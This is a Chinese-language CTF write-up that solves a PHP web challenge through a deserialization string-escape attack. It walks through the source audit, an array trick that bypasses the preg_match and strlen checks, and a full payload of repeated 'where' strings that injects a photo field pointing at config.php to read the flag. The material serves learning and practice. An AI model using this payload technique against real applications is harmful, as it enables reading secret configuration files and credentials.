小白第一次写文章,还请各位大佬多多指教
先来看一下这道题需要的知识点
数组可以绕过strlen的长度限制
$a=$_GET['a']; var_dump($a); $c=strlen($a); var_dump($c); ?>
当反序列化到足够的长度时,后面的数据会被扔掉
<?php $a=$_GET['a']; $result=unserialize($a); var_dump($result); ?>
知道了上面的这些东西后,我们再来看这道题
扫描目录,发现www.zip
拿到源码,审计源代码
在class.php看到有个mysql类,感觉可能和sql注入有关,看到下面发现有个filter函数把select、update等给替换了,于是感觉不太可能是注入了。继续往下看
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
在config.php中看到有flag变量,那么这道题应该就是读取这个文件,拿到flag
继续往下看,在profile.php文件内,看到两个敏感函数,file_get_contents和unserialize,这道题可能和反序列化有关,并且profile.php会把页面的反序列化之后的结果显示出来,那么我们可以利用file_get_content把config.php读取出来,然后base64编码一下,就可以把config.php的内容输出出来。
$profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo']));
我们再去看看profile变量是哪里来的,在update.php文件中,发现了profile变量
$profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile));
再去看看从update.php到profile.php的过程中,profile变量经过了那些过程,
有一个update_profile($username, serialize($profile))。
跟进一下这个函数,
public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
发现这个函数调用了filter函数,这个函数不是过滤的那个函数吗,难道这条路线也凉了???
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
发现前面那四个是增删改查,最后一个where和前面的有点不一样啊。。。
这时看了一下where和hacker发现两者的字符数量不同,而且前面那四个关键词的字符数量和hacker都是一样的,然后去网上查了一下资料发现,反序列化不仅有pop链的问题,还有逃逸字符的问题。
那么这题就很明显了,通过把where替换为hacker把我们的config.php逃逸出来。
现在问题来了,我们使用那个参数搭载payload呢???
一共有四个参数,通过对比我们发现,phone,email,nickname有WAF检测,photo是一个文件,但是nickname有点不一样,先是一个正则限制然后是一个长度限制,长度限制好说可以用数组绕过,这里有一个小trick,or运算符,前面的条件判断为true时,后面的表达式不会执行,为flase时,后面的表达式才会执行。所以现在条件变成了,让preg_match返回flase,使用数组绕过strlen的长度判断,当preg_match处理数组时,会报错,正合我意,一个数组可以绕过两个条件的判断。
先看一下我们构造的读取文件的语句有多长
";}s:5:"photo";s:10:"config.php
>>> len('";}s:5:"photo";s:10:"config.php') 31
一个where被替换为hacker,可以逃逸一个字符我们一共有31个字符,所以需要31个where。
>>> 'where'*31 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere'
所以payload:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
经过序列化之后的结果为
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}
在经过替换
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}
一共31个hacker正好186个字符,这样就使我们的这个s:5:"photo";s:10:"config.php";被当作数组中的photo元素给反序列化了。因为到这里已经反序列化完毕,所以最后的s:5:"photo";s:7:"upload/";}就被扔掉了。
解题过程如下:
我们先去register.php注册一个账号,登陆
进入到update.php界面 参数改为一下内容,抓包,把nickname改为数组
然后去访问profile.php,查看源码,base64解码一下就拿到flag了。
这道题最难受的还是在代码审计上,代码审计能力太差了。。。。。一定要好好的练练代码审计。